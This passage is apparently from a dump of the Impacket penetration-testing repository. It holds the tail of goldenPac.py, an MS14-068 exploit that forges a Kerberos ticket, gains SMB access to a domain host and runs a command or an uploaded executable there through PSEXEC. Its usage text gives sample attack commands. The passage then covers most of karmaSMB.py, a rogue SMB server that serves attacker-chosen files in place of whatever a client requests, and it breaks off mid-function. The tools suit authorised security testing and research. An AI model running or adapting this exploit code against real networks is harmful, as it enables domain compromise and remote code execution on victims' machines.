byebye.\n                        if self.__lmhash == '' and self.__nthash == '':\n                            from impacket.ntlm import compute_lmhash, compute_nthash\n                            self.__lmhash = compute_lmhash(self.__password)\n                            self.__nthash = compute_nthash(self.__password)\n                            continue\n                        else:\n                            exception = str(e)\n                            break\n                    else:\n                        exception = str(e)\n                        break\n\n                # So, we have the TGT, now extract the new session key and finish\n                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]\n\n                # If the cypher in use != RC4 there's gotta be a salt for us to use\n                salt = ''\n                if asRep['padata']:\n                    for pa in asRep['padata']:\n                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:\n                            etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]\n                            salt = etype2['salt'].prettyPrint()\n\n                cipherText = asRep['enc-part']['cipher']\n\n                # Key Usage 3\n                # AS-REP encrypted part (includes TGS session key or\n                # application session key), encrypted with the client key\n                # (Section 5.4.2)\n                if self.__nthash != '':\n                    key = Key(cipher.enctype,self.__nthash)\n                else:\n                    key = cipher.string_to_key(self.__password, salt, None)\n\n                plainText = cipher.decrypt(key, 3, cipherText)\n                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]\n                authTime = encASRepPart['authtime']\n\n                serverName = Principal('krbtgt/%s' % self.__domain.upper(),\n                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,\n                                                                             cipher, sessionKey, authTime)\n\n                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs\n                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)\n                try:\n                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,\n                                                                                        self.__kdcHost, tgs, cipher,\n                                                                                        sessionKey)\n                except KerberosError as e:\n                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:\n                        # We might face this if the target does not support AES (most probably\n                        # Windows XP). So, if that's the case we'll force using RC4 by converting\n                        # the password to lm/nt hashes and hope for the best. If that's already\n                        # done, byebye.\n                        if self.__lmhash == '' and self.__nthash == '':\n                            from impacket.ntlm import compute_lmhash, compute_nthash\n                            self.__lmhash = compute_lmhash(self.__password)\n                            self.__nthash = compute_nthash(self.__password)\n                        else:\n                            exception = str(e)\n                            break\n                    else:\n                        exception = str(e)\n                        break\n                else:\n                    # Everything went well, let's save the ticket if asked and leave\n                    if self.__writeTGT is not None:\n                        from impacket.krb5.ccache import CCache\n                        ccache = CCache()\n                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)\n                        ccache.saveFile(self.__writeTGT)\n                    break\n            if exception is None:\n                # Success!\n                logging.info('%s found vulnerable!' % dc)\n                break\n            else:\n                logging.info('%s seems not vulnerable (%s)' % (dc, exception))\n\n        if exception is None:\n            TGS = {}\n            TGS['KDC_REP'] = tgsCIFS\n            TGS['cipher'] = cipher\n            TGS['oldSessionKey'] = oldSessionKeyCIFS\n            TGS['sessionKey'] = sessionKeyCIFS\n\n            from impacket.smbconnection import SMBConnection\n            if self.__targetIp is None:\n                s = SMBConnection('*SMBSERVER', self.__target)\n            else:\n                s = SMBConnection('*SMBSERVER', self.__targetIp)\n            s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,\n                            useCache=False)\n\n            if self.__command != 'None':\n                executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)\n                executer.run(self.__target)\n\nif __name__ == '__main__':\n    import argparse\n    import sys\n    try:\n        import pyasn1\n        from pyasn1.type.univ import noValue\n    except ImportError:\n         logging.critical('This module needs pyasn1 installed')\n         logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')\n         sys.exit(1)\n    import datetime\n    from calendar import timegm\n    from time import strptime\n    from impacket import version\n    from impacket.dcerpc.v5 import samr\n    from impacket.dcerpc.v5 import transport\n    from impacket.krb5.types import Principal, Ticket, KerberosTime\n    from impacket.krb5 import constants\n    from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT, getKerberosTGS, KerberosError\n    from impacket.krb5.asn1 import AS_REP, TGS_REQ, AP_REQ, TGS_REP, Authenticator, EncASRepPart, AuthorizationData, \\\n        AD_IF_RELEVANT, seq_set, seq_set_iter, KERB_PA_PAC_REQUEST, \\\n        EncTGSRepPart, ETYPE_INFO2_ENTRY\n    from impacket.krb5.crypto import Key\n    from impacket.dcerpc.v5.ndr import NDRULONG\n    from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \\\n        SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD\n    from pyasn1.codec.der import decoder, encoder\n    from Cryptodome.Hash import MD5\n\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True,\n                                     description=\"MS14-068 Exploit. It establishes a SMBConnection and PSEXEcs the \"\n                                                 \"target or saves the TGT for later use.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('command', nargs='*', default=' ',\n                        help='command (or arguments if -c is used) to execute at the target (w/o path). Defaults to '\n                             'cmd.exe. \\'None\\' will not execute PSEXEC (handy if you just want to save the ticket)')\n    parser.add_argument('-c', action='store', metavar=\"pathname\",\n                        help='uploads the filename for later execution, arguments are passed in the command option')\n    parser.add_argument('-w', action='store', metavar=\"pathname\",\n                        help='writes the golden ticket in CCache format into the <pathname> file')\n    parser.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                        help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use '\n                             'the domain part (FQDN) specified in the target parameter')\n    parser.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                        help='IP Address of the target host you want to attack. If omitted it will use the targetName '\n                             'parameter')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    if len(sys.argv)==1:\n        parser.print_help()\n        print(\"\\nExamples: \")\n        print(\"\\tpython goldenPac domain.net/normaluser@domain-host\\n\")\n        print(\"\\tthe password will be asked, or\\n\")\n        print(\"\\tpython goldenPac.py domain.net/normaluser:mypwd@domain-host\\n\")\n        print(\"\\tif domain.net and/or domain-machine do not resolve, add them\")\n        print(\"\\tto the hosts file or explicitly specify the domain IP (e.g. 1.1.1.1) and target IP:\\n\")\n        print(\"\\tpython goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host\\n\")\n        print(\"\\tThis will upload the xxx.exe file and execute it as: xxx.exe param1 param2 paramn\")\n        print(\"\\tpython goldenPac.py -c xxx.exe domain.net/normaluser:mypwd@domain-host param1 param2 paramn\\n\")\n        sys.exit(1)\n \n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, address = parse_target(options.target)\n\n    if domain == '':\n        logging.critical('Domain should be specified!')\n        sys.exit(1)\n\n    if password == '' and username != '' and options.hashes is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    commands = ' '.join(options.command)\n    if commands == ' ':\n        commands = 'cmd.exe'\n\n    dumper = MS14_068(address, options.target_ip, username, password, domain, options.hashes, commands, options.c,\n                      options.w, options.dc_ip)\n\n    try:\n        dumper.exploit()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.critical(str(e))\n"
  },
  {
    "path": "examples/karmaSMB.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Karma SMB\n#\n#   The idea of this script is to answer any file read request\n#   with a set of predefined contents based on the extension\n#   asked, regardless of the sharename and/or path.\n#   When executing this script w/o a config file the pathname\n#   file contents will be sent for every request.\n#   If a config file is specified, format should be this way:\n#      <extension> = <pathname>\n#   for example:\n#      bat = /tmp/batchfile\n#      com = /tmp/comfile\n#      exe = /tmp/exefile\n#\n#   The SMB2 support works with a caveat. If two different\n#   filenames at the same share are requested, the first\n#   one will work and the second one will not work if the request\n#   is performed right away. This seems related to the\n#   QUERY_DIRECTORY request, where we return the files available.\n#   In the first try, we return the file that was asked to open.\n#   In the second try, the client will NOT ask for another\n#   QUERY_DIRECTORY but will use the cached one. This time the new file\n#   is not there, so the client assumes it doesn't exist.\n#   After a few seconds, looks like the client cache is cleared and\n#   the operation works again. Further research is needed trying\n#   to avoid this from happening.\n#\n#   SMB1 seems to be working fine on that scenario.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#   Original idea by @mubix\n#\n# ToDo:\n#   [ ] A lot of testing needed under different OSes.\n#       I'm still not sure how reliable this approach is.\n#   [ ] Add support for other SMB read commands. Right now just\n#       covering SMB_COM_NT_CREATE_ANDX\n#   [ ] Disable write request, now if the client tries to copy\n#       a file back to us, it will overwrite the files we're\n#       hosting. *CAREFUL!!!*\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport os\nimport argparse\nimport logging\nimport ntpath\ntry:\n    import ConfigParser\nexcept ImportError:\n    import configparser as ConfigParser\nfrom threading import Thread\n\nfrom impacket.examples import logger\nfrom impacket import smbserver, smb, version\nimport impacket.smb3structs as smb2\nfrom impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE\nfrom impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \\\n    STATUS_OBJECT_PATH_NOT_FOUND\nfrom impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \\\n    queryPathInformation\n\n\nclass KarmaSMBServer(Thread):\n    def __init__(self, smb2Support = False):\n        Thread.__init__(self)\n        self.server = 0\n        self.defaultFile = None\n        self.extensions = {}\n\n        # Here we write a mini config for the server\n        smbConfig = ConfigParser.ConfigParser()\n        smbConfig.add_section('global')\n        smbConfig.set('global','server_name','server_name')\n        smbConfig.set('global','server_os','UNIX')\n        smbConfig.set('global','server_domain','WORKGROUP')\n        smbConfig.set('global','log_file','None')\n        smbConfig.set('global','credentials_file','')\n\n        # IPC always needed\n        smbConfig.add_section('IPC$')\n        smbConfig.set('IPC$','comment','Logon server share')\n        smbConfig.set('IPC$','read only','yes')\n        smbConfig.set('IPC$','share type','3')\n        smbConfig.set('IPC$','path','')\n\n        # NETLOGON always needed\n        smbConfig.add_section('NETLOGON')\n        smbConfig.set('NETLOGON','comment','Logon server share')\n        smbConfig.set('NETLOGON','read only','no')\n        smbConfig.set('NETLOGON','share type','0')\n        smbConfig.set('NETLOGON','path','')\n\n        # SYSVOL always needed\n        smbConfig.add_section('SYSVOL')\n        smbConfig.set('SYSVOL','comment','')\n        smbConfig.set('SYSVOL','read only','no')\n        smbConfig.set('SYSVOL','share type','0')\n        smbConfig.set('SYSVOL','path','')\n\n        if smb2Support:\n            smbConfig.set(\"global\", \"SMB2Support\", \"True\")\n\n        self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)\n        self.server.processConfigFile()\n\n        # Unregistering some dangerous and unwanted commands\n        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)\n        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)\n        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)\n        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)\n        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)\n        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)\n\n        self.server.unregisterSmb2Command(smb2.SMB2_WRITE)\n\n        self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)\n        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)\n        self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)\n        self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)\n\n        # And the same for SMB2\n        self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)\n        self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)\n        self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)\n        self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)\n        self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)\n\n        # Now we have to register the MS-SRVS server. This specially important for \n        # Windows 7+ and Mavericks clients since they WON'T (specially OSX) \n        # ask for shares using MS-RAP.\n\n        self.__srvsServer = SRVSServer()\n        self.__srvsServer.daemon = True\n        self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))\n\n    def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):\n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n        findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)\n\n        # 1. Let's grab the extension and map the file's contents we will deliver\n        origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\\\','/'))\n        origFileName = os.path.basename(origPathName)\n\n        _, origPathNameExtension = os.path.splitext(origPathName)\n        origPathNameExtension = origPathNameExtension.upper()[1:]\n\n        if origPathNameExtension.upper() in self.extensions:\n            targetFile = self.extensions[origPathNameExtension.upper()]\n        else:\n            targetFile = self.defaultFile\n\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n\n            # 2. We call the normal findFirst2 call, but with our targetFile\n            searchResult, searchCount, errorCode = findFirst2(path, \n                          targetFile, \n                          findFirst2Parameters['InformationLevel'], \n                          findFirst2Parameters['SearchAttributes'], pktFlags = recvPacket['Flags2'] )\n\n            respParameters = smb.SMBFindFirst2Response_Parameters()\n            endOfSearch = 1\n            sid = 0x80 # default SID\n            searchCount = 0\n            totalData = 0\n            for i in enumerate(searchResult):\n                #i[1].dump()\n                try:\n                    # 3. And we restore the original filename requested ;)\n                    i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)\n                except:\n                    pass\n\n                data = i[1].getData()\n                lenData = len(data)\n                if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:\n                    # We gotta stop here and continue on a find_next2\n                    endOfSearch = 0\n                    # Simple way to generate a fid\n                    if len(connData['SIDs']) == 0:\n                       sid = 1\n                    else:\n                       sid = list(connData['SIDs'].keys())[-1] + 1\n                    # Store the remaining search results in the ConnData SID\n                    connData['SIDs'][sid] = searchResult[i[0]:]\n                    respParameters['LastNameOffset'] = totalData\n                    break\n                else:\n                    searchCount +=1\n                    respData += data\n                    totalData += lenData\n                    \n\n            respParameters['SID'] = sid\n            respParameters['EndOfSearch'] = endOfSearch\n            respParameters['SearchCount'] = searchCount\n        else:\n            errorCode = STATUS_SMB_BAD_TID   \n\n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n    def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])\n        ntCreateAndXData       = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])\n\n        respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)\n\n        #ntCreateAndXParameters.dump()\n\n        # Let's try to avoid allowing write requests from the client back to us\n        # not 100% bulletproof, plus also the client might be using other SMB\n        # calls (e.g. SMB_COM_WRITE)\n        createOptions =  ntCreateAndXParameters['CreateOptions']\n        if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:\n            errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_SUCCESS\n\n        if errorCode == STATUS_ACCESS_DENIED:\n            return [respSMBCommand], None, errorCode\n\n        # 1. Let's grab the extension and map the file's contents we will deliver\n        origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\\\','/'))\n\n        _, origPathNameExtension = os.path.splitext(origPathName)\n        origPathNameExtension = origPathNameExtension.upper()[1:]\n\n        if origPathNameExtension.upper() in self.extensions:\n            targetFile = self.extensions[origPathNameExtension.upper()]\n        else:\n            targetFile = self.defaultFile\n        \n        # 2. We change the filename in the request for our targetFile\n        ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)\n        SMBCommand['Data'] = ntCreateAndXData.getData()\n        smbServer.log(\"%s is asking for %s. Delivering %s\" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)\n\n        # 3. We call the original call with our modified data\n        return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)\n\n    def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):\n        # The trick we play here is that Windows clients first ask for the file\n        # and then it asks for the directory containing the file.\n        # It is important to answer the right questions for the attack to work\n        \n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n        errorCode = 0\n\n        queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)\n\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            path = ''\n            try:\n               origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])\n               origPathName = os.path.normpath(origPathName.replace('\\\\','/'))\n\n               if ('MS15011' in connData) is False:\n                   connData['MS15011'] = {}\n\n               smbServer.log(\"Client is asking for QueryPathInformation for: %s\" % origPathName,logging.INFO)\n               if origPathName in connData['MS15011'] or origPathName == '.':\n                   # We already processed this entry, now it's asking for a directory\n                   infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])\n               else:\n                   # First time asked, asking for the file\n                   infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])\n                   connData['MS15011'][os.path.dirname(origPathName)] = infoRecord\n            except Exception as e:\n               #import traceback\n               #traceback.print_exc()\n               smbServer.log(\"queryPathInformation: %s\" % e,logging.ERROR)\n\n            if infoRecord is not None:\n                respParameters = smb.SMBQueryPathInformationResponse_Parameters()\n                respData = infoRecord\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n           \n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n    def smb2Read(self, connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n        connData['MS15011']['StopConnection'] = True\n        smbServer.setConnectionData(connId, connData)\n        return self.origsmb2Read(connId, smbServer, recvPacket)\n \n    def smb2Close(self, connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n        # We're closing the connection trying to flush the client's\n        # cache.\n        if connData['MS15011']['StopConnection'] is True:\n            return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED\n        return self.origsmb2Close(connId, smbServer, recvPacket)\n\n    def smb2Create(self, connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        ntCreateRequest       = smb2.SMB2Create(recvPacket['Data'])\n\n        # Let's try to avoid allowing write requests from the client back to us\n        # not 100% bulletproof, plus also the client might be using other SMB\n        # calls \n        createOptions =  ntCreateRequest['CreateOptions']\n        if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:\n            errorCode = STATUS_ACCESS_DENIED\n        elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:\n            errorCode = STATUS_ACCESS_DENIED\n        else:\n            errorCode = STATUS_SUCCESS\n\n        if errorCode == STATUS_ACCESS_DENIED:\n            return [smb2.SMB2Error()], None, errorCode\n\n        # 1. Let's grab the extension and map the file's contents we will deliver\n        origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\\\','/'))\n\n        _, origPathNameExtension = os.path.splitext(origPathName)\n        origPathNameExtension = origPathNameExtension.upper()[1:]\n\n        # Are we being asked for a directory?\n        if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:\n            if origPathNameExtension.upper() in self.extensions:\n                targetFile = self.extensions[origPathNameExtension.upper()]\n            else:\n                targetFile = self.defaultFile\n            connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)\n            smbServer.log(\"%s is asking for %s. Delivering %s\" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)\n        else:\n            targetFile = '/'\n        \n        # 2. We change the filename in the request for our targetFile\n        try:\n            ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')\n        except UnicodeDecodeError:\n            import sys\n            ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le')\n        ntCreateRequest['NameLength'] = len(targetFile)*2\n        recvPacket['Data'] = ntCreateRequest.getData()\n\n        # 3. We call the original call with our modified data\n        return self.origsmb2Create(connId, smbServer, recvPacket)\n\n    def smb2QueryDirectory(self, connId, smbServer, recvPacket):\n        # Windows clients with SMB2 will also perform a QueryDirectory\n        # expecting to get the filename asked. So we deliver it :)\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb2.SMB2QueryDirectory_Response()\n        #queryDirectoryRequest   = smb2.SMB2QueryDirectory(recvPacket['Data'])\n\n        errorCode = 0xff\n        respSMBCommand['Buffer'] = b'\\x00'\n\n        errorCode = STATUS_SUCCESS\n\n        #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:\n        #    return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED\n\n        if connData['MS15011']['FindDone'] is True:\n            \n            connData['MS15011']['FindDone'] = False\n            smbServer.setConnectionData(connId, connData)\n            return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES \n        else:\n            origName, targetFile =  connData['MS15011']['FileData']\n            (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)\n\n            infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )\n            infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE\n\n            infoRecord['EaSize']            = 0\n            infoRecord['EndOfFile']         = size\n            infoRecord['AllocationSize']    = size\n            infoRecord['CreationTime']      = smb.POSIXtoFT(ctime)\n            infoRecord['LastAccessTime']    = smb.POSIXtoFT(atime)\n            infoRecord['LastWriteTime']     = smb.POSIXtoFT(mtime)\n            infoRecord['LastChangeTime']    = smb.POSIXtoFT(mtime)\n            infoRecord['ShortName']         = b'\\x00'*24\n            #infoRecord['FileName']          = os.path.basename(origName).encode('utf-16le')\n            infoRecord['FileName']          = origName.encode('utf-16le')\n            padLen = (8-(len(infoRecord) % 8)) % 8\n            infoRecord['NextEntryOffset']   = 0\n\n            respSMBCommand['OutputBufferOffset'] = 0x48\n            respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())\n            respSMBCommand['Buffer'] = infoRecord.getData() + b'\\xaa'*padLen\n            connData['MS15011']['FindDone'] = True\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    def smb2TreeConnect(self, connId, smbServer, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respPacket = smb2.SMB2Packet()\n        respPacket['Flags']     = smb2.SMB2_FLAGS_SERVER_TO_REDIR\n        respPacket['Status']    = STATUS_SUCCESS\n        respPacket['CreditRequestResponse'] = 1\n        respPacket['Command']   = recvPacket['Command']\n        respPacket['SessionID'] = connData['Uid']\n        respPacket['Reserved']  = recvPacket['Reserved']\n        respPacket['MessageID'] = recvPacket['MessageID']\n        respPacket['TreeID']    = recvPacket['TreeID']\n\n        respSMBCommand        = smb2.SMB2TreeConnect_Response()\n\n        treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])\n\n        errorCode = STATUS_SUCCESS\n\n        ## Process here the request, does the share exist?\n        path = recvPacket.getData()[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]\n        UNCOrShare = path.decode('utf-16le')\n\n        # Is this a UNC?\n        if ntpath.ismount(UNCOrShare):\n            path = UNCOrShare.split('\\\\')[3]\n        else:\n            path = ntpath.basename(UNCOrShare)\n\n        # We won't search for the share.. all of them exist :P\n        #share = searchShare(connId, path.upper(), smbServer) \n        connData['MS15011'] = {}\n        connData['MS15011']['FindDone'] = False\n        connData['MS15011']['StopConnection'] = False\n        share = {}\n        if share is not None:\n            # Simple way to generate a Tid\n            if len(connData['ConnectedShares']) == 0:\n               tid = 1\n            else:\n               tid = list(connData['ConnectedShares'].keys())[-1] + 1\n            connData['ConnectedShares'][tid] = share\n            connData['ConnectedShares'][tid]['path'] = '/'\n            connData['ConnectedShares'][tid]['shareName'] = path\n            respPacket['TreeID']    = tid\n            #smbServer.log(\"Connecting Share(%d:%s)\" % (tid,path))\n        else:\n            smbServer.log(\"SMB2_TREE_CONNECT not found %s\" % path, logging.ERROR)\n            errorCode = STATUS_OBJECT_PATH_NOT_FOUND\n            respPacket['Status'] = errorCode\n        ##\n\n        if path == 'IPC$':\n            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE\n            respSMBCommand['ShareFlags'] = 0x30\n        else:\n            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK\n            respSMBCommand['ShareFlags'] = 0x0\n\n        respSMBCommand['Capabilities'] = 0\n        respSMBCommand['MaximalAccess'] = 0x011f01ff\n\n        respPacket['Data'] = respSMBCommand\n\n        smbServer.setConnectionData(connId, connData)\n\n        return None, [respPacket], errorCode\n\n    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        resp = smb.NewSMBPacket()\n        resp['Flags1'] = smb.SMB.FLAGS1_REPLY\n        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \\\n                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE\n\n        resp['Tid'] = recvPacket['Tid']\n        resp['Mid'] = recvPacket['Mid']\n        resp['Pid'] = connData['Pid']\n\n        respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)\n        respParameters        = smb.SMBTreeConnectAndXResponse_Parameters()\n        respData              = smb.SMBTreeConnectAndXResponse_Data()\n\n        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])\n\n        if treeConnectAndXParameters['Flags'] & 0x8:\n            respParameters        = smb.SMBTreeConnectAndXExtendedResponse_Parameters()\n\n        treeConnectAndXData                    = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )\n        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']\n        